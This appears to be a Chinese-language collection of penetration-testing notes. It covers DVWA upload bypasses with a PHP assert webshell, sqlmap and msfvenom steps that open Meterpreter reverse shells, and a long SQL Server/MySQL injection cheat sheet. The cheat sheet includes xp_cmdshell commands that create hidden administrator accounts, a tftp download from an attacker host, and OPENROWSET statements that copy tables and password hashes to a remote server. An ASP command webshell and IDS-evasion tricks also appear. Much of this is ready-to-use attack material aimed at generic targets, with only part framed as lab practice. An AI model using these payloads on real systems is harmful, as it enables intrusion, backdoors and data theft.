metasploit调用nexpose扫描学习笔记

Metasploit是一个免费的、可下载的框架，通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具

nexpose安装在虚拟机中比较麻烦，所以直接安装到物理机上，kali安装在虚拟机中，执行扫描命令如下：
首先确定是否连接数据库：
msf > db_status
[*] postgresql connected to msf3

确认后
msf > load nexpose
连接后
msf > nexpose_connect loveautumn:pass@192.168.1.8:3780 ok----loveautumn是用户名，pass是密码，192.168.1.8是物理机IP
msf > nexpose_scan 192.168.1.8
[*] Scanning 1 addresses with template pentest-audit in sets of 32

DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞，下面我们来看看。

low：
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>
没有对文件类型进行限制，直接将php文件上传，之后访问：http://localhost/hackable/uploads/XX.php即可。

medium：
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>
对上传的文件进行限制。
解决方法1：用burp suite进行00截断，将文件名改为1.php .jpg（注意中间有空格）然后在拦截中将空格改为00。
解决方法2：直接上传2.php文件之后进行拦截，数据包如下

POST /vulnerabilities/upload/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/vulnerabilities/upload/
Cookie: PHPSESSID=pgke4molj8bath1fmdh7mvt686; security=medium
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------143381619322555
Content-Length: 549

-----------------------------143381619322555
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
-----------------------------143381619322555
Content-Disposition: form-data; name="uploaded"; filename="2.php"
Content-Type: application/octet-stream

<?php

$item['wind'] = 'assert';

$array[] = $item;

$array[0]['wind']($_POST['loveautumn']);

?>
-----------------------------143381619322555
Content-Disposition: form-data; name="Upload"

Upload
-----------------------------143381619322555--
将红色的部分修改成：Content-Type: image/jpeg即可绕过。

High：
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>
对图片的命名和类型进行了严格的限制，那么可以用文件头欺骗的方式来解决这个问题。另外，假设文件名为1.php.png，strrpos会截取.出现的最后位置是5，之后substr从第六位开始重新命名文件名，也就是最终上传的文件名会被改成png，会被拦截掉。
首先使用记事本对正常图片文件编辑，将php一句话代码写到图片最下面，保存。这样就可以欺骗文件类型的检测。
最后对文件名的重命名进行绕过。将文件名改为1.php .png上传，用burpsuite拦截：
Content-Disposition: form-data; name="uploaded"; filename="1.php .png"部分修改为
Content-Disposition: form-data; name="uploaded"; filename="1.php\X00.php .png"的话可以获得一个x00.php .png文件，这个是之前有php任意文件上传漏洞的文章中提到过的。对空格截断无效。目前不知道最终答案，可能是上传一个含有一句话的jpg文件之后采用文件包含来完成？暂时存疑

sqlmap 是一个自动SQL 射入工具。它是可胜任执行一个广泛的数据库管理系统后端指印, 检索遥远的DBMS 数据库等，下面我们来看一个学习例子。

自己搭建一个PHP+MYSQL平台，靶场为DVWA，设置SQL注入靶场级别为low（方便测试使用）。
在提交框中输入1，用burp抓包，将包数据复制到cookies.txt文档中，拖到kali环境。
root@kali:~# sqlmap -r "/root/cookies.txt"
返回：
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: id=-1890' OR 7466=7466#&Submit=Submit
    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause
    Payload: id=-6878' OR 1 GROUP BY CONCAT(0x7162626271,(SELECT (CASE WHEN (5403=5403) THEN 1 ELSE 0 END)),0x716b766271,FLOOR(RAND(0)*2)) HAVING MIN(0)#&Submit=Submit
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment)
    Payload: id=' AND (SELECT * FROM (SELECT(SLEEP(5)))Dgpu)#&Submit=Submit
    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=' UNION ALL SELECT NULL,CONCAT(0x7162626271,0x4c4266596d5953594265,0x716b766271)#&Submit=Submit
---
[13:45:05] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.3.29, Apache 2.4.10
back-end DBMS: MySQL 5.0.12
[13:45:05] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.1.8'
 
确定注入点后：
root@kali:~# sqlmap -r "/root/cookies.txt" --os-pwn --msf-path=/opt/metasploit
部分省略
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
> 1（使用metasploit的TCP连接shell）
 
which web application language does the web server support?
[1] ASP (default)
[2] ASPX
[3] JSP
[4] PHP
> 4（PHP的脚本）
 
what do you want to use for writable directory?
[1] common location(s) ('C:/xampp/htdocs/, C:/Inetpub/wwwroot/') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2（自定义路径）
please provide a comma separate list of absolute directory paths: D:/WWW/DVWA/（输入绝对路径）
 
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535
[3] Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP
[4] Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS
[5] Bind TCP: Listen on the database host for a connection
> 1（TCP反向连接shell）
what is the local address? [Enter for '192.168.1.104' (detected)]
which local port number do you want to use? [16308]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
> 1（meterpreter shell）
 
部分省略
PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => process
LPORT => 16308
LHOST => 192.168.1.104
[*] Started reverse handler on 192.168.1.104:16308
[*] Starting the payload handler...
[13:46:43] [INFO] running Metasploit Framework shellcode remotely via shellcodeexec, please wait..
[*] Sending stage (957487 bytes) to 192.168.1.8
[*] Meterpreter session 1 opened (192.168.1.104:16308 -> 192.168.1.8:37639) at 2016-01-17 13:46:45 +0800
meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > Computer        : PGOS
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64 (Current Process is WOW64)
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/win32
meterpreter > Server username: PGOS\Administrator
meterpreter >
同时，DVWA目录下会生成一个随机的php上传shell。

Metasploit是一款开源的安全漏洞检测工具，可以帮助安全和IT专业人士识别安全性问题，验证漏洞的缓解措施，并管理专家驱动的安全性进行评估，提供真正的安全风险情报

Metasploit简介

灰帽黑客(第3版) Metasploit是一个免费的、可下载的框架，通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时，计算机安全状况也被永久性地改变了。仿佛一夜之间，任何人都可以成为黑客，每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了，这是因为Metasploit团队一直都在努力开发各种攻击工具，并将它们贡献给所有Metasploit用户

metasploit框架PHP反向后门建立

msfvenom -l  查看所有payload
Framework Payloads (436 total)
==============================
    Name                                                Description
    ----                                                -----------
    aix/ppc/shell_bind_tcp                              Listen for a connection and spawn a command shell
    aix/ppc/shell_find_port                             Spawn a shell on an established connection
    aix/ppc/shell_interact                              Simply execve /bin/sh (for inetd programs)
    aix/ppc/shell_reverse_tcp                           Connect back to attacker and spawn a command shell
其他的省略。
这里要使用的是PHP反向后门
msfvenom -p php/meterpreter/reverse_tcp --payload-options  查看参数
Options for payload/php/meterpreter/reverse_tcp:

       Name: PHP Meterpreter, PHP Reverse TCP Stager
     Module: payload/php/meterpreter/reverse_tcp
   Platform: PHP
       Arch: php
Needs Admin: No
 Total size: 936
       Rank: Normal
Provided by:
    egypt <egypt@metasploit.com>
Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
LHOST                   yes       The listen address
LPORT  4444             yes       The listen port
Description:
  Run a meterpreter server in PHP. Reverse PHP connect back stager
  with checks for disabled functions
 
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=1234 -f raw >c.php 生成脚本
生成后要将脚本最前面的注释符去掉，然后上传到目标服务器上
启动msf
use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.1.2
set LPORT 1234
exploit 启动监听
 
然后从浏览器中打开上传的脚本http://xxx.com/c.php
msf中就会看到
*] Starting the payload handler...
[*] Sending stage (33068 bytes) to XXX.XXX.XXX.XXX
[*] Meterpreter session 1 opened (192.168.1.2:1234 -> xxx.xxx.xxx.xxx:42280) at
meterpreter >
 
如果kali安装在虚拟机上，需要桥接，然后路由器上将kali DMZ到外网

注意：此教程只用于学习使用其它一切后果与本站无前

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序，而这些输入大都是SQL语法里的一些组合，通过执行SQL语句进而执行攻击者所要的操作

标准注入语句

1.判断有无注入点
; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确
6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
group by users.id having 1=1--
group by users.id, users.username, users.password, users.privs having 1=1--
; insert into users values( 666, attacker, foobar, 0xffff )--
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable-
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id)-
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-
UNION SELECT TOP 1 login_blank>_name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul--
看_blank>服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)--
看_blank>数据库连接账号的权限，返回正常，证明是_blank>服务器角色sysadmin权限。
and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--
判断连接_blank>数据库帐号。（采用SA账号连接 返回正常=证明了连接账号是SA）
and sa=(SELECT System_blank>_user)--
and user_blank>_name()=dbo--
and 0<>(select user_blank>_name()--
看xp_blank>_cmdshell是否删除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshell)--
xp_blank>_cmdshell被删除，恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll--
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll--
反向PING自己实验
;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
加帐号
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add--
创建一个虚拟目录E盘：
;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c：\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e：\"--
访问属性：（配合写入一个webshell）
declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c：\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
爆库 特殊_blank>技巧：:%5c=\ 或者把/和\ 修改%5提交
and 0<>(select top 1 paths from newtable)--
得到库名（从1到5都是系统的id，6以上才可以判断）
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的_blank>数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 来暴出其他的字段
and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union，access也好用)
得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test OUTPUT insert into paths(path) values(@test)--
;use ku1;--
;create table cmd (str image);-- 建立image类型的表cmd
存在xp_blank>_cmdshell的测试过程：
;exec master..xp_blank>_cmdshell dir
;exec master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帐号
;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;--
exec master..xp_blank>_servicecontrol start, schedule 启动_blank>服务
exec master..xp_blank>_servicecontrol start, server
; DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C：\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C：\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat
如果被限制则可以。
select * from openrowset(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)
查询构造：
SELECT * FROM news WHERE id=... AND topic=... AND .....
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;--
;use master;--
:a or name like fff%;-- 显示有一个叫ffff的用户哈。
and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123, admin--, password, 0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为access_blank>数据库
枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表，第二个表可以这样读出来（在条件后加上 and name<>刚才得到的表名）。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表，一个个的读出，直到没有为止。
读字段是这样：
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));--
然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));--
然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名
[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]
绕过IDS的检测[使用变量]
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
1、 开启远程_blank>数据库
基本语法
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
参数: (1) OLEDB Provider name
2、 其中连接字符串参数可以是任何端口用来连接,比如
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
3.复制目标主机的整个_blank>数据库insert所有远程表到本地表。
基本语法：
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysobjects)
select * from user_blank>_database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_syscolumns)
select * from user_blank>_database.dbo.syscolumns
复制_blank>数据库：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2
复制哈西表（HASH）登录_blank>密码的hash存储于sysxlogins中。方法如下：
insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins
得到hash之后，就可以进行暴力破解。
遍历目录的方法： 先创建一个临时表：temp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_blank>_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;-- 查看某个文件的内容
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;--
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;--
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- （xp_blank>_dirtree适用权限PUBLIC）
写入表：
语句1：and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin));--
语句2：and 1=(SELECT IS_blank>_SRVROLEMEMBER(serveradmin));--
语句3：and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));--
语句4：and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--
语句5：and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--
语句6：and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));--
语句7：and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--
语句8：and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--
语句9：and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));--
把路径写到表中去：
;create table dirs(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_blank>_dirtree c:\--
and 0<>(select top 1 paths from dirs)--
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
;create table dirs1(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_blank>_dirtree e:\web--
and 0<>(select top 1 paths from dirs1)--
把_blank>数据库备份到网页目录：下载
;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;--
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。
and 1=(select user_blank>_id from USER_blank>_LOGIN)
and 0=(select user from USER_blank>_LOGIN where user>1)
-=- wscript.shell example -=-
declare @o int
exec sp_blank>_oacreate wscript.shell, @o out
exec sp_blank>_oamethod @o, run, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe--
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
end
declare @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>
declare @o int, @ret int
exec sp_blank>_oacreate speech.voicetext, @o out
exec sp_blank>_oamethod @o, register, NULL, foo, bar
exec sp_blank>_oasetproperty @o, speed, 150
exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
waitfor delay 00:00:05
; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05--
xp_blank>_dirtree适用权限PUBLIC
exec master.dbo.xp_blank>_dirtree c:\
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型，depth字段是整形字段。
create table dirs(paths varchar(100), id int)
建表，这里建的表是和上面xp_blank>_dirtree相关连，字段相等、类型相同。
insert dirs exec master.dbo.xp_blank>_dirtree c:\
只要我们建表与存储进程返回的字段相定义相等就能够执行！达到写表的效果,一步步达到我们想要的信息！


PHP+MySQL 手工注入语句

暴字段长度
order by num/*

匹配字段
and 1=1 union select 1,2,3,4,5…….n/*

暴字段位置
and 1=2 union select 1,2,3,4,5…..n/*

利用内置函数暴数据库信息
version() database() user()

不用猜解可用字段暴数据库信息(有些网站不适用):
and 1=2 union all select version() /*
and 1=2 union all select database() /*
and 1=2 union all select user() /*

操作系统信息：
and 1=2 union all select @@global.version_compile_os from mysql.user /*

数据库权限：
and ord(mid(user(),1,1))=114 /* 返回正常说明为root

暴库 (mysql>5.0)

Mysql 5 以上有内置库 information_schema，存储着mysql的所有数据库和表结构信息
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库（十六进制） limit 0（开始的记录，0为第一个开始记录）,1（显示1条记录）—

猜字段
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名（十六进制）limit 0,1

暴密码
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1

高级用法（一个可用字段显示两个数据内容）：
